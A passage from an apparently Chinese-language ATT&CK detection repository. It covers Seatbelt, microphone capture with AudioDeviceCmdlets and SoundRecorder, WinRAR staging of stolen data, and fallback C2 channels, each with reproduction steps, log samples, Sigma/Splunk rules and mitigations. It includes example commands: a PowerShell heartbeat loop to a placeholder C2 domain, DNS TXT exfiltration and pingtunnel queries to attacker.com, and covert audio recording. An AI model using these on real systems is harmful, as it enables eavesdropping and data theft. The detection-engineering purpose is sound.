检测Seatbelt生成的文件(如输出日志,`.txt`或`.json`格式)。 4. **网络监控**: - 检测收集数据通过网络传输的行为(如上传到C2服务器)。 5. **行为基线**: - 建立组织内正常信息收集工具的使用基线,识别异常执行(如非安全团队运行Seatbelt)。 ### 检测建议 - **Sysmon配置**:配置Sysmon监控`Seatbelt.exe`的进程创建(事件ID 1)、文件创建(事件ID 11)和注册表操作(事件ID 13)。 - **命令行分析**:解析`Seatbelt.exe`的命令行参数,检测特定选项(如`-group=user`)。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)监控Seatbelt的执行和后续行为。 - **误报过滤**:排除安全团队或管理员的合法Seatbelt使用,结合上下文(如用户身份、时间)降低误报率。 ## 缓解措施 1. **应用白名单**: - 使用AppLocker或WDAC限制`Seatbelt.exe`的执行,仅允许受信任用户或进程。 2. **文件监控**: - 部署文件完整性监控(FIM)工具,检测异常输出文件创建。 3. **注册表保护**: - 限制非管理员用户访问敏感注册表键(如凭据存储)。 4. **网络限制**: - 监控并限制收集数据通过网络传输的行为,阻止未经授权的数据泄露。 5. **用户培训**: - 教育用户识别可疑工具执行行为,避免运行未知可执行文件。 ## 参考推荐 - MITRE ATT&CK T1119 https://attack.mitre.org/techniques/T1119 - Seatbelt GitHub https://github.com/GhostPack/Seatbelt - 内存加载Seatbelt的实现 https://anquan.baidu.com/article/1153 - Security-Datasets: Seatbelt Dataset https://github.com/OTRF/Security-Datasets/blob/master/datasets/atomic/windows/discovery/host/cmd_seatbelt_group_user.zip ================================================ FILE: Windows/11收集/T1123-win-使用AudioDeviceCmdlets进行音频收集.md ================================================ # T1123-Win-使用AudioDeviceCmdlets音频收集 ## 描述 攻击者可能利用计算机的外围设备(如麦克风)或应用程序接口(如PowerShell模块)捕获音频记录,以窃听敏感对话或收集情报。恶意软件或脚本可通过操作系统提供的API(如Windows Audio Device API)或第三方模块(如AudioDeviceCmdlets)与麦克风交互,捕获音频数据。捕获的音频可能被保存为文件(如WAV、MP3)并通过网络泄露,供攻击者后续分析或利用。 ## 测试案例 ### 用例 - **音频窃听**:攻击者使用PowerShell模块`AudioDeviceCmdlets`捕获麦克风音频,记录环境中的敏感对话。 - **自动化录音**:脚本定期调用`AudioDeviceCmdlets`模块,保存音频文件并通过C2通道传输。 - **实时监控**:通过实时流式传输将音频数据发送到远程服务器。 ### 示例场景 - 攻击者通过PowerShell安装并使用`AudioDeviceCmdlets`模块,启动录音并将音频保存为文件。 - 恶意脚本结合`AudioDeviceCmdlets`命令,控制录音时长并指定输出路径。 ### 测试1:使用AudioDeviceCmdlets模块 通过PowerShell调用`AudioDeviceCmdlets`模块捕获音频: ```yml powershell.exe -Command WindowsAudioDevice-Powershell-Cmdlet ``` 或使用具体命令: ```powershell Install-Module -Name AudioDeviceCmdlets Get-AudioDevice -List Set-AudioDevice -Index 1 # 选择麦克风设备 # 需额外脚本实现录音功能 ``` ### 所需权限 - 用户权限(运行PowerShell和访问麦克风)。 - 管理员权限(安装PowerShell模块,若未预安装)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录PowerShell进程(`powershell.exe`)创建及命令行参数(需启用命令行审核)。 ### Sysmon日志 - **事件ID 1**:捕获`powershell.exe`进程创建及命令行参数(如包含`AudioDeviceCmdlets`)。 - **事件ID 11**:记录音频文件(如`.wav`、`.mp3`)的创建事件。 - **事件ID 3**:记录可能的网络连接(若音频文件被传输)。 ### PowerShell日志 - **事件ID 4104**:捕获PowerShell脚本块执行,记录`AudioDeviceCmdlets`模块的调用。 ### 文件系统日志 - 监控新创建的音频文件及其路径(如`.wav`文件)。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11。 - **权限**:用户权限(安装模块可能需要管理员权限)。 - **工具**: - PowerShell(系统自带)。 - AudioDeviceCmdlets模块(需安装,参考https://github.com/frgnca/AudioDeviceCmdlets)。 - Sysmon(用于进程和文件监控)。 - Wireshark(若涉及网络传输,捕获流量)。 - 测试麦克风(确保设备可用)。 - **网络**:隔离网络环境,允许PowerShell模块下载和可能的出站流量。 - **日志**:启用Windows安全日志、Sysmon日志和PowerShell日志。 ### 攻击步骤 1. **安装AudioDeviceCmdlets模块**: ```powershell PS C:\> Install-Module -Name AudioDeviceCmdlets -Force ``` 2. **列出音频设备**: ```powershell PS C:\> Get-AudioDevice -List ``` - 输出示例(视环境而定): ``` Index: 1 Name: Microphone (Realtek Audio) Type: Recording ``` 3. **选择麦克风设备**: ```powershell PS C:\> Set-AudioDevice -Index 1 ``` 4. **模拟录音**(需额外脚本): - AudioDeviceCmdlets本身不直接支持录音,需结合其他脚本或模块(如NAudio): ```powershell # 示例伪代码,需第三方库支持 Import-Module AudioDeviceCmdlets Start-AudioRecording -OutputFile "C:\Users\liyang\output.wav" -Duration 30 ``` 5. **验证结果**: - 检查音频文件(如`C:\Users\liyang\output.wav`)是否生成。 - 使用Wireshark捕获网络流量(若文件通过网络传输)。 - 验证Sysmon和PowerShell日志是否记录模块调用和文件创建。 6. **清理**: - 删除音频文件(如`Remove-Item C:\Users\liyang\output.wav`)。 - 卸载模块(若需要): ```powershell Uninstall-Module -Name AudioDeviceCmdlets ``` ### 注意事项 - 虚拟机环境可能因缺少物理麦克风而无法捕获音频,建议在物理机或配置虚拟音频设备的环境中测试。 - `AudioDeviceCmdlets`需结合其他录音逻辑实现完整功能,测试时可参考GitHub文档。 ## 测试留痕 以下为Windows安全日志示例(事件ID 4688): ```yml 已创建新进程。 创建者主题: 安全 ID: DESKTOP-PT656L6\liyang 帐户名: liyang 帐户域: DESKTOP-PT656L6 登录 ID: 0x47126 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x1b3c 新进程名称: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x1410 创建er进程名称: C:\Windows\System32\cmd.exe 进程命令行: powershell.exe -Command Get-AudioDevice -List ``` 以下为PowerShell日志示例(事件ID 4104): ```yml EventID: 4104 CreateTime: 2025-06-08 03:15:23 ScriptBlockText: Install-Module -Name AudioDeviceCmdlets -Force ScriptBlockId: {a1b2c3d4-e5f6-4a7b-8c9d-0e1f2a3b4c5d} Path: Unknown ``` ## 检测方法/思路 ### Splunk规则 检测`AudioDeviceCmdlets`模块或PowerShell录音活动的Splunk查询: ```yml index=windows SourceName="Microsoft-Windows-PowerShell" "*AudioDeviceCmdlets*" | OR index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\\powershell.exe" CommandLine="*AudioDeviceCmdlets*") | OR index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=11 TargetFilename="*.wav" OR TargetFilename="*.mp3") ``` ### 检测思路 1. **进程监控**: - 检测`powershell.exe`进程的创建,尤其是命令行包含`AudioDeviceCmdlets`或相关cmdlet(如`Get-AudioDevice`、`Set-AudioDevice`)。 - 监控异常父进程(如`cmd.exe`、`explorer.exe`)调用PowerShell。 2. **文件监控**: - 检测新创建的音频文件(如`.wav`、`.mp3`),尤其是位于用户目录或临时文件夹。 3. **PowerShell日志分析**: - 检查PowerShell事件ID 4104,捕获`AudioDeviceCmdlets`模块的加载或执行。 4. **网络监控**: - 检测音频文件通过网络传输的行为(如上传到C2服务器)。 5. **行为基线**: - 建立组织内PowerShell和录音模块的正常使用基线,识别异常行为(如夜间运行、非典型用户)。 ### 检测建议 - **Sysmon配置**:配置Sysmon监控`powershell.exe`的进程创建(事件ID 1)和音频文件创建(事件ID 11)。 - **PowerShell日志**:启用PowerShell模块、脚本块和命令行日志,捕获`AudioDeviceCmdlets`相关活动。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)监控麦克风访问和音频文件创建。 - **误报过滤**:排除合法录音场景(如视频会议、语音备忘录),结合上下文(如用户身份、时间)降低误报率。 ## 缓解措施 1. **设备访问控制**: - 限制普通用户对麦克风设备的访问,仅允许受信任应用程序。 - 使用组策略禁用非必要录音功能。 2. **PowerShell限制**: - 配置PowerShell执行策略(如`Restricted`或`Constrained Language Mode`),限制未签名模块的加载。 - 使用AppLocker或WDAC限制`powershell.exe`的执行。 3. **文件监控**: - 部署文件完整性监控(FIM)工具,检测异常音频文件创建。 4. **网络限制**: - 监控并限制音频文件通过网络传输的行为,阻止未经授权的数据泄露。 5. **用户培训**: - 教育用户识别可疑PowerShell脚本或录音行为,避免运行未知命令。 ## 参考推荐 - MITRE ATT&CK T1123 https://attack.mitre.org/techniques/T1123 - Atomic-red-team T1123 https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1123/T1123.md - AudioDeviceCmdlets https://github.com/frgnca/AudioDeviceCmdlets ================================================ FILE: Windows/11收集/T1123-win-使用soundrec进行音频收集.md ================================================ # T1123-Win-使用soundrec音频收集 ## 描述 攻击者可能利用计算机的外围设备(如麦克风)或应用程序(如语音呼叫服务、录音软件)捕获音频记录,以窃听敏感对话或收集情报。恶意软件或脚本可通过操作系统提供的API(如Windows Audio Device API)或应用程序接口与麦克风交互,捕获音频数据。捕获的音频可能被保存为文件(如WAV、MP3)并通过网络泄露,供攻击者后续分析或利用。 ## 测试案例 ### 用例 - **音频窃听**:恶意软件通过调用`soundrec.exe`或其他录音工具,捕获环境中的敏感对话。 - **自动化录音**:脚本定期调用录音API,保存音频文件并通过C2通道传输。 - **实时监控**:攻击者通过实时流式传输将音频数据发送到远程服务器。 ### 示例场景 - 攻击者使用Windows内置的`soundrec.exe`(Windows录音机)或PowerShell cmdlet(如`WindowsAudioDevice-Powershell-Cmdlet`)启动录音,捕获用户对话并保存为文件。 - 恶意脚本通过`/DURATION`和`/FILE`参数控制录音时长和输出文件。 ### 路径 - Windows录音机(Sound Recorder): ```yml - C:\Windows\System32\SoundRecorder.exe - shell:appsFolder\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App ``` ### 所需权限 - 用户权限(访问麦克风和文件系统)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`SoundRecorder.exe`或相关进程的创建及命令行参数(需启用命令行审核)。 ### Sysmon日志 - **事件ID 1**:捕获`SoundRecorder.exe`或PowerShell进程的创建及命令行参数。 - **事件ID 11**:记录音频文件(如`.wav`、`.mp3`)的创建事件。 - **事件ID 3**:记录可能的网络连接(若音频文件被传输)。 ### PowerShell日志 - **事件ID 4104**:捕获与录音相关的PowerShell cmdlet执行(如`WindowsAudioDevice-Powershell-Cmdlet`)。 ### 文件系统日志 - 监控新创建的音频文件(如`.wav`、`.mp3`)及其路径。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11。 - **权限**:用户权限。 - **工具**: - Windows录音机(`SoundRecorder.exe`,系统自带)。 - PowerShell(用于调用录音API)。 - Sysmon(用于进程和文件监控)。 - Wireshark(若涉及网络传输,捕获流量)。 - 测试麦克风(确保设备可用)。 - **网络**:隔离网络环境,若测试文件传输,需允许出站流量。 - **日志**:启用Windows安全日志、Sysmon日志和PowerShell日志。 ### 攻击步骤 1. **启动录音**: - 使用Windows录音机: ```bash C:\Users\liyang>explorer.exe shell:appsFolder\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe!App ``` - 或使用PowerShell调用录音API: ```powershell $audioDevice = Get-CimInstance -Namespace root/cimv2 -ClassName Win32_SoundDevice Write-Output "Capturing audio using $audioDevice" # 模拟录音逻辑,需第三方模块支持 ``` 2. **保存音频文件**: - 使用命令行参数指定输出文件和录音时长: ```bash SoundRecorder.exe /FILE C:\Users\liyang\output.wav /DURATION 0000:00:30 ``` - 参数说明:`/FILE`指定输出文件,`/DURATION`设置录音时长(格式为`hhhh:mm:ss`)。 3. **验证结果**: - 检查`C:\Users\liyang\output.wav`是否生成。 - 使用Wireshark捕获网络流量(若文件通过网络传输)。 - 验证Sysmon日志是否记录进程和文件创建事件。 4. **清理**: - 删除音频文件(如`del C:\Users\liyang\output.wav`)。 - 终止相关进程。 ## 测试留痕 以下为Windows安全日志示例(事件ID 4688): ```yml 已创建新进程。 创建者主题: 安全 ID: DESKTOP-PT656L6\liyang 帐户名: liyang 帐户域: DESKTOP-PT656L6 登录 ID: 0x47126 进程信息: 新进程 ID: 0x1a2c 新进程名称: C:\Windows\System32\SoundRecorder.exe 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x1410 创建者进程名称: C:\Windows\System32\explorer.exe 进程命令行: SoundRecorder.exe /FILE C:\Users\liyang\output.wav /DURATION 0000:00:30 ``` 以下为Sysmon日志示例(事件ID 11): ```yml EventID: 11 UtcTime: 2025-06-08 03:10:45.123 ProcessGuid: {12345678-9abc-def0-1234-56789abcdef0} ProcessId: 6704 Image: C:\Windows\System32\SoundRecorder.exe TargetFilename: C:\Users\liyang\output.wav CreationUtcTime: 2025-06-08 03:10:45.123 ``` ## 检测方法/思路 ### Splunk规则 检测`SoundRecorder.exe`或PowerShell录音活动的Splunk查询: ```yml index=windows SourceName="Microsoft-Windows-PowerShell" "*WindowsAudioDevice-Powershell-Cmdlet*" | OR index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image="*\\explorer.exe" CommandLine="*WindowsSoundRecorder*") OR (EventCode=1 Image="*\\SoundRecorder.exe") | OR index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 CommandLine="* /DURATION *") OR (EventCode=1 CommandLine="* /FILE *") ``` ### 检测思路 1. **进程监控**: - 检测`SoundRecorder.exe`或PowerShell进程的创建,尤其是命令行包含`/FILE`或`/DURATION`参数。 - 监控异常父进程(如`cmd.exe`、`powershell.exe`)调用录音工具。 2. **文件监控**: - 检测新创建的音频文件(如`.wav`、`.mp3`),尤其是位于用户目录或临时文件夹。 3. **API调用监控**: - 检测与麦克风交互的API调用(如`WindowsAudioDevice-Powershell-Cmdlet`)。 - 使用EDR工具监控异常进程访问音频设备。 4. **网络监控**: - 检测音频文件通过网络传输的行为(如上传到C2服务器)。 5. **行为基线**: - 建立组织内录音工具的正常使用基线,识别异常录音行为(如夜间运行、非典型用户)。 ### 检测建议 - **Sysmon配置**:配置Sysmon监控`SoundRecorder.exe`的进程创建(事件ID 1)和文件创建(事件ID 11)。 - **PowerShell日志**:启用PowerShell模块和脚本块日志,检测录音相关的cmdlet调用。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)监控麦克风访问和音频文件创建。 - **误报过滤**:排除合法录音场景(如视频会议、语音备忘录),结合上下文(如用户身份、时间)降低误报率。 ## 缓解措施 1. **设备访问控制**: - 限制普通用户对麦克风设备的访问,仅允许受信任应用程序。 - 使用组策略禁用非必要录音功能。 2. **应用白名单**: - 使用AppLocker或WDAC限制`SoundRecorder.exe`的执行,仅允许受信任用户或进程。 3. **文件监控**: - 部署文件完整性监控(FIM)工具,检测异常音频文件创建。 4. **网络限制**: - 监控并限制音频文件通过网络传输的行为,阻止未经授权的数据泄露。 5. **用户培训**: - 教育用户识别可疑录音行为,避免运行未知脚本或应用程序。 ## 参考推荐 - MITRE ATT&CK T1123 https://attack.mitre.org/techniques/T1123 ================================================ FILE: Windows/11收集/T1560.001-Win-通过Winrar压缩收集数据.md ================================================ # T1560.001-Win-通过WinRAR压缩数据 ## 描述 攻击者可能使用第三方工具(如WinRAR、7-Zip、WinZip)压缩或加密收集的数据,以便在数据泄露或后续传输中隐藏内容、减小文件体积或规避检测。WinRAR是一款常见的压缩工具,支持命令行操作,可通过脚本或手动方式执行压缩和加密任务。许多系统可能预装压缩工具(如Windows的zip或Linux/macOS的tar),但WinRAR因其强大的加密功能和普及性常被攻击者利用。 ## 测试案例 ### 用例 - **数据压缩**:攻击者使用WinRAR压缩收集的敏感文件(如日志、数据库备份)以便传输。 - **加密压缩**:通过WinRAR的密码保护功能加密压缩文件,增加防御者解密难度。 - **自动化脚本**:结合恶意脚本,自动化执行WinRAR压缩任务。 ### 示例场景 - 攻击者通过WinRAR命令行将窃取的文件(如`qax.pst`)压缩为`qax.rar`,并通过C2通道传输。 - 使用密码加密压缩文件,防止未经授权访问。 ### 路径 WinRAR通常安装在: ```yml - C:\Program Files\WinRAR\WinRAR.exe - C:\Program Files (x86)\WinRAR\WinRAR.exe ``` ### 所需权限 - 用户权限(执行WinRAR和访问目标文件)。 ### 操作系统 - Windows 7、Windows 8、Windows 8.1、Windows 10、Windows 11、Windows Server 2008、2012、2016、2019、2022。 ## 检测日志 ### Windows安全日志 - **事件ID 4688**:记录`WinRAR.exe`进程创建及命令行参数(需启用命令行审核)。 ### Sysmon日志 - **事件ID 1**:捕获`WinRAR.exe`进程创建及命令行参数。 - **事件ID 11**:记录压缩文件(如`qax.rar`)的创建事件。 ### 文件系统日志 - 监控新创建的压缩文件(如`.rar`文件)及其路径。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2016。 - **权限**:用户权限。 - **工具**: - WinRAR(需安装,路径如`C:\Program Files\WinRAR\WinRAR.exe`)。 - Sysmon(用于进程和文件监控)。 - 测试文件(如`qax.pst`)。 - **环境配置**: - 确保WinRAR命令行可执行,添加WinRAR安装路径(如`C:\Program Files\WinRAR`)到系统环境变量`PATH`。 - 若提示“winrar不是内部或外部命令”,检查环境变量或使用完整路径。 - **日志**:启用Windows安全日志和Sysmon日志。 ### 攻击步骤 1. **创建测试文件**: - 准备一个测试文件(如`C:\Users\Administrator\qax.pst`)。 2. **执行压缩命令**: ```bash C:\Users\Administrator>winrar a C:\Users\Administrator\qax.rar C:\Users\Administrator\qax.pst ``` - 命令解释:`a`表示添加文件到压缩包,生成`qax.rar`。 - 可选:添加密码保护: ```bash winrar a -p[password] C:\Users\Administrator\qax.rar C:\Users\Administrator\qax.pst ``` 3. **验证结果**: - 检查`C:\Users\Administrator\qax.rar`是否生成。 - 验证Sysmon日志是否记录`WinRAR.exe`进程和文件创建事件。 4. **清理**: - 删除测试压缩文件(如`del C:\Users\Administrator\qax.rar`)。 ## 测试留痕 以下为Windows安全日志示例(事件ID 4688): ```yml 已创建新进程。 创建者主题: 安全 ID: QAX\Administrator 帐户名: Administrator 帐户域: QAX 登录 ID: 0x7169C 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0xe20 新进程名称: C:\Program Files\WinRAR\WinRAR.exe 令牌提升类型: %%1936 强制性标签: Mandatory Label\High Mandatory Level 创建者进程 ID: 0x378 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: winrar a C:\Users\Administrator\qax.rar C:\Users\Administrator\qax.pst ``` 以下为Sysmon日志示例(事件ID 11): ```yml EventID: 11 UtcTime: 2025-06-08 12:58:45.123 ProcessGuid: {12345678-9abc-def0-1234-56789abcdef0} ProcessId: 3648 Image: C:\Program Files\WinRAR\WinRAR.exe TargetFilename: C:\Users\Administrator\qax.rar CreationUtcTime: 2025-06-08 12:58:45.123 ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测WinRAR的异常压缩行为: ```yml title: Suspicious WinRAR Compression Activity id: e4b9c8d7-3f2a-4e5b-9d6c-2a3b4c5d6e7f description: Detects potential malicious use of WinRAR to compress collected data on Windows systems author: 12306Bro status: experimental references: - https://attack.mitre.org/techniques/T1560/001 - https://blog.csdn.net/findmyself_for_world/article/details/39292181 - https://www.cnblogs.com/xzlive/p/10508940.html logsource: product: windows category: process_creation detection: selection: EventID: 4688 Image|endswith: '\WinRAR.exe' CommandLine|contains: ' a ' condition: selection falsepositives: - Legitimate use of WinRAR for file compression by users or administrators - Automated backup scripts using WinRAR level: medium ``` ### 检测思路 1. **进程监控**: - 检测`WinRAR.exe`进程的创建,尤其是命令行参数包含`a`(添加文件到压缩包)。 - 监控异常父进程(如`cmd.exe`、`powershell.exe`)调用WinRAR。 2. **文件监控**: - 检测新创建的`.rar`文件,尤其是位于敏感目录(如用户目录、临时文件夹)。 - 检查压缩文件是否包含敏感文件类型(如`.pst`、`.docx`、`.xlsx`)。 3. **命令行分析**: - 解析`WinRAR.exe`的命令行参数,检测是否使用密码保护(`-p`参数)。 4. **行为基线**: - 建立组织内WinRAR的正常使用基线,识别异常压缩行为(如夜间执行、非典型用户)。 5. **关联分析**: - 结合Sysmon事件ID 1(进程创建)和11(文件创建),关联WinRAR的压缩行为与后续网络活动(如数据泄露)。 ### 检测建议 - **告警规则**:基于Sigma规则,配置SIEM系统(如Splunk、Elastic)检测`WinRAR.exe`的异常命令行参数和文件创建。 - **文件监控**:使用EDR工具(如Microsoft Defender for Endpoint)监控`.rar`文件的创建和访问。 - **环境变量检查**:检测WinRAR路径是否被添加到环境变量,防止命令行调用被忽略。 - **误报过滤**:排除合法备份或用户压缩行为,结合上下文(如用户身份、时间)降低误报率。 ## 缓解措施 1. **限制工具使用**: - 使用应用白名单工具(如AppLocker)限制WinRAR的执行,仅允许受信任用户或进程。 2. **文件监控**: - 部署文件完整性监控(FIM)工具,检测敏感目录中的`.rar`文件创建。 3. **权限管理**: - 限制普通用户对WinRAR的执行权限,防止未经授权的压缩操作。 4. **网络限制**: - 监控压缩文件通过网络传输的行为,阻止未经授权的数据泄露。 5. **用户培训**: - 教育用户识别异常压缩行为,避免运行可疑脚本或命令。 ## 参考推荐 - MITRE ATT&CK T1560.001 https://attack.mitre.org/techniques/T1560/001 - Windows命令行中使用WinRAR https://blog.csdn.net/findmyself_for_world/article/details/39292181 - 利用WinRAR命令行压缩文件或文件夹 https://www.cnblogs.com/xzlive/p/10508940.html ================================================ FILE: Windows/12命令与控制/T1008-备用通信通道.md ================================================ # T1008-备用通信通道 ## 描述 攻击者使用备用或备用通信通道(T1008),在主要命令与控制(C2)通道受损、被检测或不可用时,维持对目标系统的控制和数据渗出能力。备用通道旨在确保C2通信的可靠性,规避防御机制(如防火墙、IDS/IPS)或数据传输限制(如带宽阈值)。这些通道可能使用不同协议(如HTTP、DNS、ICMP)、端口、加密方式,或通过合法服务(如云平台、社交媒体)伪装流量。 备用通道与持久化技术类似,旨在通过多种通信方法保持控制,防止权限丢失。攻击者可能预配置多个通道,动态切换以应对网络限制或检测。检测重点在于识别异常网络流量、非常规协议使用及可疑进程的网络活动。 ## 测试案例 1. **HTTP备用通道** 攻击者使用HTTP POST请求向备用域名发送心跳包,模拟C2通信。 2. **DNS隧道** 通过DNS查询将数据编码后发送到攻击者控制的域名。 3. **ICMP通道** 使用ICMP(Ping)数据包封装C2指令或渗出数据。 4. **云服务通道** 通过合法云服务(如Google Drive、Dropbox)上传/下载C2指令或数据。 ### 示例命令 - **HTTP备用通道**(PowerShell): ```powershell $url = "https://backup-c2.example.com/heartbeat" while ($true) { try { Invoke-WebRequest -Uri $url -Method Post -Body "status=active" } catch {} Start-Sleep -Seconds 60 } ``` - **DNS隧道**(nslookup模拟): ```cmd nslookup -type=TXT exfil.abcdef123.attacker.com ``` - **ICMP通道**(需专用工具如`pingtunnel`): ```cmd pingtunnel -type client -l 127.0.0.1:8080 -s attacker.com ``` ## 检测日志 **Windows安全日志** - **事件ID 4688**:记录可疑进程(如`powershell.exe`、`nslookup.exe`)的创建。 **Sysmon日志** - **事件ID 1**:记录进程创建,包含命令行参数(如`Invoke-WebRequest`或`nslookup`)。 - **事件ID 3**:记录网络连接,捕获非常规协议(如DNS、ICMP)或异常目标IP/域名。 - **事件ID 7**:记录加载的模块,检测C2相关DLL或脚本。 **网络日志** - 捕获异常流量(如高频DNS查询、ICMP数据包异常大小、HTTP POST到未知域名)。 **PowerShell日志** - **事件ID 4104**:记录PowerShell脚本执行,捕获HTTP请求或网络操作。 **配置日志记录** - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 启用PowerShell日志:`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。 - 配置Sysmon监控网络连接和非常规协议。 - 使用IDS/IPS(如Snort、Suricata)记录DNS、ICMP、HTTP流量。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2022。 - **权限**:用户权限(某些通道如ICMP可能需管理员)。 - **工具**:PowerShell、`nslookup.exe`(系统自带)、Sysmon、Wireshark、测试C2服务器。 - **网络**:配置可控网络环境,模拟攻击者域名(如`backup-c2.example.com`)。 - **日志**:启用Windows安全日志、PowerShell日志、Sysmon日志,配置网络监控。 ### 攻击步骤 1. **HTTP备用通道测试** - 执行PowerShell脚本模拟C2心跳: ```powershell $url = "http://127.0.0.1:8080/heartbeat" try { Invoke-WebRequest -Uri $url -Method Post -Body "status=active" } catch {} ``` 2. **DNS隧道测试** - 使用`nslookup`模拟数据渗出: ```cmd nslookup -type=TXT test123.localhost ``` 3. **验证结果** - 检查Sysmon日志(网络连接): ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match "powershell.exe|nslookup.exe" } ``` - 检查PowerShell日志: ```powershell Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where-Object { $_.Id -eq 4104 -and $_.Message -match "Invoke-WebRequest" } ``` - 检查网络流量(Wireshark过滤`http`或`dns`)。 4. **清理** - 终止测试脚本: ```powershell Stop-Process -Name powershell -Force ``` - 删除临时文件(若有): ```cmd del C:\Temp\test.txt ``` ### 示例输出 ```powershell Invoke-WebRequest -Uri http://127.0.0.1:8080/heartbeat -Method Post -Body "status=active" StatusCode : 200 StatusDescription : OK ``` ```cmd nslookup -type=TXT test123.localhost Server: localhost Address: 127.0.0.1 Non-authoritative answer: test123.localhost text = "exfil-data-123" ``` **注意**:此复现仅用于学习和测试目的,需在合法授权的测试环境中进行,切勿用于非法活动。 ## 日志留痕 - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:00:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 4567 Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine: powershell.exe -Command "Invoke-WebRequest -Uri http://127.0.0.1:8080/heartbeat -Method Post -Body 'status=active'" ParentImage: C:\Windows\System32\cmd.exe User: CONTOSO\User IntegrityLevel: Medium ``` - **Sysmon日志(事件ID 3,网络连接)**: ```plaintext EventID: 3 UtcTime: 2025-06-10 03:00:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe DestinationIp: 127.0.0.1 DestinationPort: 8080 Protocol: tcp User: CONTOSO\User ``` - **Sysmon日志(事件ID 3,DNS查询)**: ```plaintext EventID: 3 UtcTime: 2025-06-10 03:00:00.345 ProcessGuid: {abcdef12-3456-7890-abcd-ef1234567890} Image: C:\Windows\System32\nslookup.exe DestinationIp: 127.0.0.1 DestinationPort: 53 Protocol: udp User: CONTOSO\User ``` - **PowerShell日志(事件ID 4104,脚本执行)**: ```plaintext EventID: 4104 Source: Microsoft-Windows-PowerShell Message: Creating Scriptblock text (1 of 1): Invoke-WebRequest -Uri http://127.0.0.1:8080/heartbeat -Method Post -Body "status=active" ScriptBlock ID: {12345678-abcd-1234-abcd-1234567890ab} ``` ## 检测规则/思路 **检测规则** 通过监控异常网络流量、非常规协议及可疑进程行为,检测备用通信通道。以下是具体思路: 1. **日志分析**: - 监控Sysmon事件ID 3,检测非常规协议(如ICMP、DNS)或异常目标(如高频DNS查询、未知域名)。 - 监控Sysmon事件ID 1,检测`powershell.exe`、`nslookup.exe`或`ping.exe`的异常命令行参数。 - 监控PowerShell日志事件ID 4104,检测网络请求(如`Invoke-WebRequest`)。 - 监控Windows安全日志事件ID 4688,检测可疑进程创建。 - 分析网络流量,检查数据流不对称(如客户端发送数据远多于接收)。 2. **Sigma规则(PowerShell HTTP备用通道)**: ```yaml title: PowerShell HTTP备用通道检测 id: t78901234-abcd-5678-9012-34567890vwxy status: experimental description: 检测PowerShell通过HTTP POST执行的C2备用通道通信 references: - https://attack.mitre.org/techniques/T1008/ tags: - attack.command_and_control - attack.t1008 logsource: product: windows service: sysmon detection: selection: EventID: 1 Image|endswith: '\powershell.exe' CommandLine|contains: - 'Invoke-WebRequest' - '-Method Post' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法自动化脚本 - 管理员网络测试 level: high ``` 3. **Sigma规则(DNS异常查询)**: ```yaml title: 异常DNS查询检测 id: u89012345-abcd-6789-0123-45678901yzab status: experimental description: 检测疑似DNS隧道的异常高频或编码查询 logsource: product: windows service: sysmon detection: selection: EventID: 3 Image|endswith: '\nslookup.exe' Protocol: udp DestinationPort: 53 condition: selection fields: - Image - DestinationIp - DestinationPort - User falsepositives: - 正常DNS解析 - 网络诊断工具 level: medium ``` 4. **SIEM规则**: - 检测备用通道行为。 - 示例Splunk查询: ```spl (source="WinEventLog:Microsoft-WinEvent-Sysmon/Operational" (EventID=1 Image IN ("*powershell.exe","*nslookup.exe") CommandLine IN ("*Invoke-WebRequest*","*-type=TXT*")) OR (EventID=3 Protocol IN ("tcp","udp") DestinationPort IN (53,80,443,8080))) | stats count by Image, CommandLine, DestinationIp, DestinationPort, User, ComputerName ``` 5. **网络流量分析**: - 检查DNS查询频率或异常TXT记录: ```bash tshark -f "udp port 53" -Y "dns.qry.type == TXT" ``` - 检查ICMP数据包大小: ```bash tshark -f "icmp" -Y "length > 64" ``` - 使用IDS规则检测异常HTTP流量: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET 80,443 (msg:"Suspicious HTTP POST"; content:"POST"; http_method; 